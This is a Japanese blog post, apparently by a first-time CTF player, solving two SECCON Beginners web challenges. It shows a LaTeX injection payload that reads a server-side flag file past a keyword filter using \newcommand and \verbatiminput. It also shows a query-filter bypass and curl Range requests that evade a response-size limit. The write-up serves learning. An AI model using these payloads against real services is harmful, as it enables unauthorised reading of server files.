はじめに
CTF未経験者としてBeginnerレベルの問題を解いてみた前回の記事はこちら
今回はWebのEasyレベルに挑戦してみます。
なお私のレベルは前回と変わらずCTF初挑戦レベルです。未経験者の視点で答えにたどり着くまでの足跡を書き残しますので冗長になっていますが、同じく未経験者の方のお役に立てれば幸いです。
問題と解法
環境
OS: Windows11
WSL2 (Ubuntu): Ubuntu 20.04.4 LTS
curl 7.68.0
Python 3.8.10
ブラウザ: Microsoft Edge バージョン 102.0.1245.41 (公式ビルド) (64 ビット)
Web
textex
-
Texのコードを入力し「toPDF」ボタンを押すとPDFに変換したものが表示されるアプリが提供されている。
-
提供されたアプリのファイルを見ると
app.py
というWebアプリのスクリプトと、同ディレクトリにflag
というファイルが存在する。Texコードを利用してflag
ファイルを取れればよさそう。$ ls Dockerfile app.py flag requirements.txt templates tex_box uwsgi.ini
-
app.py
のスクリプトを見ていくapp.pyimport string import subprocess from flask import Flask, request, send_file, render_template app = Flask(__name__) app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024 @app.route("/") def top(): return render_template("index.html") def tex2pdf(tex_code) -> str: # Generate random file name. filename = "".join([random.choice(string.digits + string.ascii_lowercase + string.ascii_uppercase) for i in range(2**5)]) # Create a working directory. os.makedirs(f"tex_box/{filename}", exist_ok=True) # .tex -> .pdf try: # No flag !!!! if "flag" in tex_code.lower(): tex_code = "" # Write tex code to file. with open(f"tex_box/{filename}/{filename}.tex", mode="w") as f: f.write(tex_code) # Create pdf from tex. subprocess.run(["pdflatex", "-output-directory", f"tex_box/{filename}", f"tex_box/{filename}/{filename}.tex"], timeout=0.5) except: pass if not os.path.isfile(f"tex_box/{filename}/{filename}.pdf"): # OMG error ;( shutil.copy("tex_box/error.pdf", f"tex_box/{filename}/{filename}.pdf") return f"{filename}" @app.route("/pdf", methods=["POST"]) def pdf(): # tex to pdf. filename = tex2pdf(request.form.get("tex_code")) # Here's your pdf. with open(f"tex_box/{filename}/{filename}.pdf", "rb") as f: pdf = io.BytesIO(f.read()) shutil.rmtree(f"tex_box/{filename}/") return send_file(pdf, mimetype="application/pdf") if __name__ == "__main__": app.run(debug=True, host="0.0.0.0", port=4444)
-
tex2pdf()
はPOSTリクエストで受信したtex_code
をtexファイルに書き出し、texファイルをPDFに変換し、そのPDFファイル名を返却している。Texで
flag
ファイルを読み込んで表示すればよいが、
tex_code
中にflag
という文字があるとtex_code
を空にする処理があるため、
「Texコード内にはflag
という文字列を使ってはいけない」という縛りがあるもよう。 -
Texについて調べる
-
外部ファイルを読み込んで表示する方法
\documentclass{article} \begin{document} \input{filename} \end{document}
けどfilenameのところに
flag
という連続した文字列を入れてはいけないという縛りがあるので、flag
という文字列を分解して表現できないか調べてみる。 -
文字列を分割して表現できる方法 (newcommandを利用する)
\documentclass{article} \begin{document} \newcommand{\concat}[2]{#1#2} \input{\concat{f}{lag}} \end{document}
これならいけそうな気がする!!!
-
-
早速上記方法でTexコードを送ってみる
-
結果はエラー画面に飛ばされた。なおエラー画面にはとっても美味しそうなラーメン画像が表示されています(笑)
-
試しに同じディレクトリにある別ファイル
Dockerfile
で試してみるが同じくエラー -
やり方間違ってるのか不安になりつつ別ファイル
requirements.txt
で試すと中身が表示できた!!!
app.py
を見る限りエラー画面に飛ばされるのは、tex_code
が空のときかPDF化失敗のとき。Texコードにはflag
という連続した文字列は含めていないので強制的に空にされることはなく、おそらくPDF化失敗によるものだと推測する。・・・ここから一日悩む。何故PDF化失敗なのかわからない・・・
requirements.txt
の内容が表示できたので、このTexコードで正しいはず。ということは、フラグ文字の中にTexが嫌う文字が含まれているかもしれない、と推測する。 -
-
フラグに使用される文字コード [\x20-\x7e] でTexが嫌いそうな文字を探す
-
とりあえずフラグに使用される文字をズラッと並べる
$ python3 Python 3.8.10 (default, Mar 15 2022, 12:22:08) [GCC 9.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import struct >>> text=b'' >>> for letter in list(range(0x20,0x7e,1)): ... text += struct.pack("B",letter) ... >>> text b' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}'
-
Texコード内に入れて送ってみる
\documentclass{article} \begin{document} !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|} \end{document}
エラー画面に飛ばされた。(ほんとうに美味しそうなラーメンの写真が表示sれるので何度も見てるとそろそろこのラーメンが食べたくなってきた)
つまりフラグに使用される文字の中にTexが嫌がる文字(コントロール文字か扱えない文字?)が含まれていると思われる。そこでフラグに使用される文字をTexが解釈してしまわないような方法があるか調査してみる。
-
-
テキストを整形済みとしてそのまま表示させるTexコマンドの調査(textileのpreのような)
verbatim
というものがあるらしいので早速試してみるとエラー無しでPDF化され文字列が表示された!\documentclass{article} \begin{document} \begin{verbatim} !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|} \end{verbatim} \end{document}
-
newcommand
との合わせ技でTexコードを送ってみる\documentclass{article} \begin{document} \newcommand{\concat}[2]{#1#2} \begin{verbatim} \input{\concat{f}{lag}} \end{verbatim} \end{document}
本当にそのまんま "
\input{\concat{f}{lag}}
" ってPDFで表示された(笑) そりゃそうだ・・・ -
外部ファイルをそのまま表示させるようなTexコマンドを探す
プログラムのソースコードをLaTeXに埋め込む方法を見つけたのでそれを試してみる。
\documentclass{article} \usepackage{verbatim} \begin{document} \newcommand{\concat}[2]{#1#2} \verbatiminput{\concat{f}{lag}} \end{document}
やっとフラグが取れました!
-
おまけ: エラー画面ほんとに美味しそう
gallery
-
選択した画像が表示されるWebアプリが提供されている。
まずプルダウンメニューにより画像の拡張子をgif, jpeg, pngから選択する。その後、jigohoukokuとlgtmのどちらかのリンクをクリックすると、該当する画像が表示される。
Webブラウザからはプルダウン選択、画像のリンクをクリックの操作のみが可能なので、おそらくHTTPリクエストを直接送り込むことになるんだろうなぁと想像する。
-
main.go
,handlers.go
というソースコードが提供されている。Go言語は未履修だったので雰囲気で解読する。
-
main.go
main.gopackage main import ( "bytes" "net/http" "github.com/gorilla/mux" ) const ( PORT = "8080" DIR = "static" ) type MyResponseWriter struct { http.ResponseWriter lengthLimit int } func (w *MyResponseWriter) Header() http.Header { return w.ResponseWriter.Header().Clone() } func (w *MyResponseWriter) Write(data []byte) (int, error) { filledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil } w.ResponseWriter.Write(data[:length]) return length, nil } func middleware() func(http.Handler) http.Handler { return func(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r) }) } } func main() { r := mux.NewRouter() r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR)))) r.HandleFunc("/", IndexHandler) http.ListenAndServe(":"+PORT, middleware()(r)) }
-
handlers.go
handlers.gopackage main import ( "html/template" "log" "net/http" "os" "strings" ) type Embed struct { ImageList []string } func IndexHandler(w http.ResponseWriter, r *http.Request) { t, err := template.New("index.html").ParseFiles("./static/index.html") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } // replace suspicious chracters fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "") if fileExtension == "" { fileExtension = "jpeg" } log.Println(fileExtension) data := Embed{} data.ImageList, err = getImageList(fileExtension) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } if err := t.Execute(w, data); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } } func getImageList(fileExtension string) ([]string, error) { files, err := os.ReadDir("static") if err != nil { return nil, err } res := make([]string, 0, len(files)) for _, file := range files { if !strings.Contains(file.Name(), fileExtension) { continue } res = append(res, file.Name()) } return res, nil }
-
handlers.go
内に怪しい処理を発見handlers.go// replace suspicious chracters fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "") if fileExtension == "" { fileExtension = "jpeg" } log.Println(fileExtension)
HTTPリクエストのクエリに
file_extention
というキーがあり、そのキーに指定されている文字列中のflag
という文字列がすべて空文字に置換される。その後に値が空文字であるならばjpeg
が設定される。つまり
flag
という文字列が空文字に置換されても値そのものが空文字にならなければjpeg
に置換されることがない。またコード上で
flag
という文字列に対処しているということはfileExtention
がflag
になることを嫌がっているように思える。つまり例えば
file_extention="fflaglag"
のようにすれば何か起きそう。 -
ブラウザのデバッグモードを使ってリクエストを解析
拡張子gifを選択した時のネットワーク情報を確認すると
https://gallery.quals.beginners.seccon.jp/?file_extension=gif
というリクエストが発行されているのがわかる -
リクエストを編集して再送信してみる
-
Queryの
file_extension
キーの値をfflag
にして再送信 -
フラグへのリンクが出てきた
ネットワークのログから「新しいタブで開く」を選択して応答画面を確認すると、フラグと思われるPDFへのリンクが現れたのでクリックしたが、大量の"?"が表示された…そんなに甘くはなかった…
-
Responseデータにサイズ制限がかかっている
Responseデータのサイズ制限は10240byte
main.goh.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r)
データサイズが10240byteを上回る場合は、データサイズ分の "?" が返送される仕組み
main.gofilledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil }
-
-
データサイズを10240byteずつ分割してフラグを取得してみる
フラグのリンクが分かったのでここからはcURLコマンドを使う
-
まずは大量"?"で置き換えられたフラグファイルのサイズを確認すると16085byteであることがわかる
$ curl -s -v -o flag https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf : $ ls -l flag -rw-r--r-- 1 user user 16085 Jun 25 00:21 flag
-
サイズ制限である10240byte刻みでリクエストを送る
0byte目から10239byte目までの10240byteのレスポンスボディを
flag1
に、10240byte目から16085byte目までのレスポンスボディを
flag2
に保存する$ curl -s -v -o flag1 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=0-10239" $ curl -s -v -o flag2 https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf -H "range: bytes=10240-16085"
-
flag1
とflag2
を結合する$ cat flag1 flag2 > flag.pdf
-
結合した
flag.pdf
を開くと…フラグが見れました!
-